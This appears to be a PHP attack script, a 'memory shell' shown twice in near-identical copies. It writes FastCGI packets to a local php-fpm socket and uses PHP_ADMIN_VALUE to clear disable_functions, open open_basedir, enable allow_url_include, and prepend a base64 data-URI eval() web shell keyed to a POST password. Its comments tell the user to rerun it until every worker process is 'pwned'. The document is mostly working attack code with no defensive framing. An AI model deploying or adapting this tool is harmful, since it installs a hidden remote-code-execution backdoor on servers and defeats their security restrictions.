rmb122/php_memory_shell.php

## php_memory_shell.php
<?php
class FCGIClient {
    const VERSION_1 = 1;

    const BEGIN_REQUEST = 1;
    const ABORT_REQUEST = 2;
    const END_REQUEST = 3;
    const PARAMS = 4;
    const STDIN = 5;
    const STDOUT = 6;
    const STDERR = 7;
    const DATA = 8;
    const GET_VALUES = 9;
    const GET_VALUES_RESULT = 10;
    const UNKNOWN_TYPE = 11;
    const MAXTYPE = self::UNKNOWN_TYPE;

    const RESPONDER = 1;
    const AUTHORIZER = 2;
    const FILTER = 3;

    const REQUEST_COMPLETE = 0;
    const CANT_MPX_CONN = 1;
    const OVERLOADED = 2;
    const UNKNOWN_ROLE = 3;

    const MAX_CONNS = 'MAX_CONNS';
    const MAX_REQS = 'MAX_REQS';
    const MPXS_CONNS = 'MPXS_CONNS';

    const HEADER_LEN = 8;

    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;

    /**
     * Host
     * @var String
     */
    private $_host = null;

    /**
     * Port
     * @var Integer
     */
    private $_port = null;

    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = -1) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b) {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive() {
        return $this->_keepAlive;
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect() {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1) {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value) {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null) {
        $array = array();

        if ($length === null) {
            $length = strlen($data);
        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data[$p++]);
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data[$p++]) << 16);
                $nlen |= (ord($data[$p++]) << 8);
                $nlen |= (ord($data[$p++]));
            }
            $vlen = ord($data[$p++]);
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data[$p++]) << 16);
                $vlen |= (ord($data[$p++]) << 8);
                $vlen |= (ord($data[$p++]));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
            $p += ($nlen + $vlen);
        }

        return $array;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data) {
        $ret = array();
        $ret['version'] = ord($data[0]);
        $ret['type'] = ord($data[1]);
        $ret['requestId'] = (ord($data[2]) << 8) + ord($data[3]);
        $ret['contentLength'] = (ord($data[4]) << 8) + ord($data[5]);
        $ret['paddingLength'] = ord($data[6]);
        $ret['reserved'] = ord($data[7]);
        return $ret;
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket() {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len = $resp['contentLength'];
                while ($len && $buf = fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf = fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo) {
        $this->connect();

        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin) {
        $response = '';
        $this->connect();

        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));

        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');

        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');

        fwrite($this->_sock, $request);

        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);

        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }

        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}

if (isset($_GET['STOPME'])) {
    echo "pwned!";
    die();
}

$filepath = __FILE__;
$host = "unix:///var/run/php-fpm.sock";
// $host = "tcp://127.0.0.1";
$port = 9000;
$code = '<?php @eval($_POST["realhardpassword"]);?>';

if (strpos($host, 'unix://') !== false) {
    $client = new FCGIClient($host);
} else {
    $client = new FCGIClient($host, $port);
}

$base64_code = 'data:;base64,' . base64_encode($code);

if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
    $php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
} else {
    $php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
}

$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SCRIPT_FILENAME' => $filepath,
    'SCRIPT_NAME' => basename($filepath),
    'QUERY_STRING' => 'STOPME=1',
    'REQUEST_URI' => '/' . basename($filepath),
    'DOCUMENT_URI' => '/' . basename($filepath),
    'DOCUMENT_ROOT' => dirname($filepath),
    'PHP_ADMIN_VALUE' => $php_value,
    'SERVER_SOFTWARE' => 'nginx',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '10000',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'localhost',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_LENGTH' => ''
);

var_dump($params);
// 需要注意, php-fpm 是多进程的, 一次运行只会污染到一个进程, 如果需要污染所有进程需要多跑几次
// It should be noted that php-fpm is multi-process, and it will only memory-shell one process per request. If you need to memory-shell all processes, you need to run several times untill all processes get pwned.
echo $client->request($params, '') . "\n";
?>
	<?php
	class FCGIClient {
	const VERSION_1 = 1;

	const BEGIN_REQUEST = 1;
	const ABORT_REQUEST = 2;
	const END_REQUEST = 3;
	const PARAMS = 4;
	const STDIN = 5;
	const STDOUT = 6;
	const STDERR = 7;
	const DATA = 8;
	const GET_VALUES = 9;
	const GET_VALUES_RESULT = 10;
	const UNKNOWN_TYPE = 11;
	const MAXTYPE = self::UNKNOWN_TYPE;

	const RESPONDER = 1;
	const AUTHORIZER = 2;
	const FILTER = 3;

	const REQUEST_COMPLETE = 0;
	const CANT_MPX_CONN = 1;
	const OVERLOADED = 2;
	const UNKNOWN_ROLE = 3;

	const MAX_CONNS = 'MAX_CONNS';
	const MAX_REQS = 'MAX_REQS';
	const MPXS_CONNS = 'MPXS_CONNS';

	const HEADER_LEN = 8;

	/**
	* Socket
	* @var Resource
	*/
	private $_sock = null;

	/**
	* Host
	* @var String
	*/
	private $_host = null;

	/**
	* Port
	* @var Integer
	*/
	private $_port = null;

	/**
	* Keep Alive
	* @var Boolean
	*/
	private $_keepAlive = false;

	/**
	* Constructor
	*
	* @param String $host Host of the FastCGI application
	* @param Integer $port Port of the FastCGI application
	*/
	public function __construct($host, $port = -1) // and default value for port, just for unixdomain socket
	{
	$this->_host = $host;
	$this->_port = $port;
	}

	/**
	* Define whether or not the FastCGI application should keep the connection
	* alive at the end of a request
	*
	* @param Boolean $b true if the connection should stay alive, false otherwise
	*/
	public function setKeepAlive($b) {
	$this->_keepAlive = (boolean)$b;
	if (!$this->_keepAlive && $this->_sock) {
	fclose($this->_sock);
	}
	}

	/**
	* Get the keep alive status
	*
	* @return Boolean true if the connection should stay alive, false otherwise
	*/
	public function getKeepAlive() {
	return $this->_keepAlive;
	}

	/**
	* Create a connection to the FastCGI application
	*/
	private function connect() {
	if (!$this->_sock) {
	$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
	if (!$this->_sock) {
	throw new Exception('Unable to connect to FastCGI application');
	}
	}
	}

	/**
	* Build a FastCGI packet
	*
	* @param Integer $type Type of the packet
	* @param String $content Content of the packet
	* @param Integer $requestId RequestId
	*/
	private function buildPacket($type, $content, $requestId = 1) {
	$clen = strlen($content);
	return chr(self::VERSION_1) /* version */
	. chr($type) /* type */
	. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
	. chr($requestId & 0xFF) /* requestIdB0 */
	. chr(($clen >> 8) & 0xFF) /* contentLengthB1 */
	. chr($clen & 0xFF) /* contentLengthB0 */
	. chr(0) /* paddingLength */
	. chr(0) /* reserved */
	. $content; /* content */
	}

	/**
	* Build an FastCGI Name value pair
	*
	* @param String $name Name
	* @param String $value Value
	* @return String FastCGI Name value pair
	*/
	private function buildNvpair($name, $value) {
	$nlen = strlen($name);
	$vlen = strlen($value);
	if ($nlen < 128) {
	/* nameLengthB0 */
	$nvpair = chr($nlen);
	} else {
	/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
	$nvpair = chr(($nlen >> 24) \| 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
	}
	if ($vlen < 128) {
	/* valueLengthB0 */
	$nvpair .= chr($vlen);
	} else {
	/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
	$nvpair .= chr(($vlen >> 24) \| 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
	}
	/* nameData & valueData */
	return $nvpair . $name . $value;
	}

	/**
	* Read a set of FastCGI Name value pairs
	*
	* @param String $data Data containing the set of FastCGI NVPair
	* @return array of NVPair
	*/
	private function readNvpair($data, $length = null) {
	$array = array();

	if ($length === null) {
	$length = strlen($data);
	}

	$p = 0;

	while ($p != $length) {

	$nlen = ord($data[$p++]);
	if ($nlen >= 128) {
	$nlen = ($nlen & 0x7F << 24);
	$nlen \|= (ord($data[$p++]) << 16);
	$nlen \|= (ord($data[$p++]) << 8);
	$nlen \|= (ord($data[$p++]));
	}
	$vlen = ord($data[$p++]);
	if ($vlen >= 128) {
	$vlen = ($nlen & 0x7F << 24);
	$vlen \|= (ord($data[$p++]) << 16);
	$vlen \|= (ord($data[$p++]) << 8);
	$vlen \|= (ord($data[$p++]));
	}
	$array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
	$p += ($nlen + $vlen);
	}

	return $array;
	}

	/**
	* Decode a FastCGI Packet
	*
	* @param String $data String containing all the packet
	* @return array
	*/
	private function decodePacketHeader($data) {
	$ret = array();
	$ret['version'] = ord($data[0]);
	$ret['type'] = ord($data[1]);
	$ret['requestId'] = (ord($data[2]) << 8) + ord($data[3]);
	$ret['contentLength'] = (ord($data[4]) << 8) + ord($data[5]);
	$ret['paddingLength'] = ord($data[6]);
	$ret['reserved'] = ord($data[7]);
	return $ret;
	}

	/**
	* Read a FastCGI Packet
	*
	* @return array
	*/
	private function readPacket() {
	if ($packet = fread($this->_sock, self::HEADER_LEN)) {
	$resp = $this->decodePacketHeader($packet);
	$resp['content'] = '';
	if ($resp['contentLength']) {
	$len = $resp['contentLength'];
	while ($len && $buf = fread($this->_sock, $len)) {
	$len -= strlen($buf);
	$resp['content'] .= $buf;
	}
	}
	if ($resp['paddingLength']) {
	$buf = fread($this->_sock, $resp['paddingLength']);
	}
	return $resp;
	} else {
	return false;
	}
	}

	/**
	* Get Informations on the FastCGI application
	*
	* @param array $requestedInfo information to retrieve
	* @return array
	*/
	public function getValues(array $requestedInfo) {
	$this->connect();

	$request = '';
	foreach ($requestedInfo as $info) {
	$request .= $this->buildNvpair($info, '');
	}
	fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

	$resp = $this->readPacket();
	if ($resp['type'] == self::GET_VALUES_RESULT) {
	return $this->readNvpair($resp['content'], $resp['length']);
	} else {
	throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
	}
	}

	/**
	* Execute a request to the FastCGI application
	*
	* @param array $params Array of parameters
	* @param String $stdin Content
	* @return String
	*/
	public function request(array $params, $stdin) {
	$response = '';
	$this->connect();

	$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));

	$paramsRequest = '';
	foreach ($params as $key => $value) {
	$paramsRequest .= $this->buildNvpair($key, $value);
	}
	if ($paramsRequest) {
	$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
	}
	$request .= $this->buildPacket(self::PARAMS, '');

	if ($stdin) {
	$request .= $this->buildPacket(self::STDIN, $stdin);
	}
	$request .= $this->buildPacket(self::STDIN, '');

	fwrite($this->_sock, $request);

	do {
	$resp = $this->readPacket();
	if ($resp['type'] == self::STDOUT \|\| $resp['type'] == self::STDERR) {
	$response .= $resp['content'];
	}
	} while ($resp && $resp['type'] != self::END_REQUEST);

	if (!is_array($resp)) {
	throw new Exception('Bad request');
	}

	switch (ord($resp['content'][4])) {
	case self::CANT_MPX_CONN:
	throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
	break;
	case self::OVERLOADED:
	throw new Exception('New request rejected; too busy [OVERLOADED]');
	break;
	case self::UNKNOWN_ROLE:
	throw new Exception('Role value not known [UNKNOWN_ROLE]');
	break;
	case self::REQUEST_COMPLETE:
	return $response;
	}
	}
	}

	if (isset($_GET['STOPME'])) {
	echo "pwned!";
	die();
	}

	$filepath = __FILE__;
	$host = "unix:///var/run/php-fpm.sock";
	// $host = "tcp://127.0.0.1";
	$port = 9000;
	$code = '<?php @eval($_POST["realhardpassword"]);?>';

	if (strpos($host, 'unix://') !== false) {
	$client = new FCGIClient($host);
	} else {
	$client = new FCGIClient($host, $port);
	}

	$base64_code = 'data:;base64,' . base64_encode($code);

	if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
	$php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
	} else {
	$php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
	}

	$params = array(
	'GATEWAY_INTERFACE' => 'FastCGI/1.0',
	'REQUEST_METHOD' => 'POST',
	'SCRIPT_FILENAME' => $filepath,
	'SCRIPT_NAME' => basename($filepath),
	'QUERY_STRING' => 'STOPME=1',
	'REQUEST_URI' => '/' . basename($filepath),
	'DOCUMENT_URI' => '/' . basename($filepath),
	'DOCUMENT_ROOT' => dirname($filepath),
	'PHP_ADMIN_VALUE' => $php_value,
	'SERVER_SOFTWARE' => 'nginx',
	'REMOTE_ADDR' => '127.0.0.1',
	'REMOTE_PORT' => '10000',
	'SERVER_ADDR' => '127.0.0.1',
	'SERVER_PORT' => '80',
	'SERVER_NAME' => 'localhost',
	'SERVER_PROTOCOL' => 'HTTP/1.1',
	'CONTENT_LENGTH' => ''
	);

	var_dump($params);
	// 需要注意, php-fpm 是多进程的, 一次运行只会污染到一个进程, 如果需要污染所有进程需要多跑几次
	// It should be noted that php-fpm is multi-process, and it will only memory-shell one process per request. If you need to memory-shell all processes, you need to run several times untill all processes get pwned.
	echo $client->request($params, '') . "\n";
	?>